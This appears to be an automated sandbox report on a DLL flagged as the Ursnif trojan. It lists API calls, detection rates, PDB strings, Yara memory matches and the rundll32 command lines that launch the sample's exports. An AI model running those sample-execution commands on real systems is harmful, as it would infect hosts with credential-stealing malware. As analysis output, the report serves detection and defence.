Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E625600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E625600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E668DAF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E64E8C0

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E611273 NtMapViewOfSection,
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6115C6 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,GetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6113B8 GetProcAddress,NtCreateSection,memset,
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6123D5 NtQueryVirtualMemory,

Source: B6VQd36tt6.dll	Virustotal: Detection: 16%
Source: B6VQd36tt6.dll	ReversingLabs: Detection: 24%

Source: B6VQd36tt6.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,BeGrass
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Fieldeight
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Often
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 864
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 840
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 724 -s 636
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,BeGrass
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Fieldeight
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,Often
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER5812.tmp

Jump to behavior

Source: classification engine

Classification label: mal96.troj.evad.winDLL@14/12@26/9

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,BeGrass

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5780
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess724
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4892

Source: C:\Windows\System32\loaddll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: B6VQd36tt6.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: B6VQd36tt6.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbdH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb) source: WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.493177698.00000000032C5000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.507567039.0000000004934000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbbH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: CoreMessaging.pdb_ source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509889795.00000000054C3000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520068624.0000000004BC3000.00000004.00000040.sdmp
Source:	Binary string: lbase.pdb source: WerFault.exe, 00000011.00000003.479795785.00000000048C4000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb! source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb# source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb5 source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.493154431.00000000032BF000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.509793696.0000000002C2F000.00000004.00000001.sdmp
Source:	Binary string: CoreMessaging.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509889795.00000000054C3000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520068624.0000000004BC3000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb9 source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb+ source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdbk source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb- source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb& source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: ntmarta.pdb@ source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: ntmarta.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdbvH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb, source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbzH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.494991181.00000000032CB000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: CoreUIComponents.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb> source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb* source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb\|H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: CoreUIComponents.pdb" source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb" source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdbNH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdbhH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000014.00000003.493154431.00000000032BF000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.509793696.0000000002C2F000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdbl source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: CoreUIComponents.pdb* source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdbTH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: WinTypes.pdbIE source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb,H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbv source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb2 source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb? source: WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: TextInputFramework.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: msctf.pdb8 source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: c:\wheel\receive\Many-rise\score.pdb source: loaddll32.exe, 00000000.00000002.784287371.000000006E68B000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.785711066.000000006E68B000.00000002.00020000.sdmp, B6VQd36tt6.dll
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb&H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbXH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000014.00000003.494991181.00000000032CB000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.507712896.0000000002C3B000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000014.00000003.493177698.00000000032C5000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.507687054.0000000002C35000.00000004.00000001.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb@H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: winspool.pdbRH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb\| source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E612150 push ecx; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6121A3 push ecx; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E64AB9A push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E64AB9A push ecx; ret

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E611DE5 LoadLibraryA,GetProcAddress,

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.785119761.00000000053F0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.638534724.0000000002D1F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498145572.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506367708.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.550238977.0000000002F1B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506469970.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506985927.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.500076992.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506632233.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.636450090.000000000546F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506394245.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506684501.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499560563.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.497950814.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
